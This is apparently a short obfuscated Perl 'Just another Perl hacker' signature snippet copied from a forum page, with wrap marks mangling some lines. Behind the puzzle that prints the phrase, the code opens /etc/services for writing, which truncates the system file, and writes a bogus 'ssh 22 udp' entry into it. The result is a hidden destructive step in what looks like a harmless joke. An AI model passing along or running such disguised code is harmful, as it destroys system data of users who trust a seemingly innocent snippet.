or download this
#!/usr/bin/perl
open s,">/etc/services";$#=$/;seek s,"m/^ftp/";print s"ssh\t22\tudp",+
+0;$_=(<0>
)[-1];$/=q*(\w)*;*#=*_;$#=~s*^.\*?"(.+)".\*$*$1*;sub sig{print~~revers
+e join' '
,@#}sig map{s$\$/\$/$\$2\$1$g&&$#}split(' ',$#);$#=",erckha rlPe erthn
+oa stJu";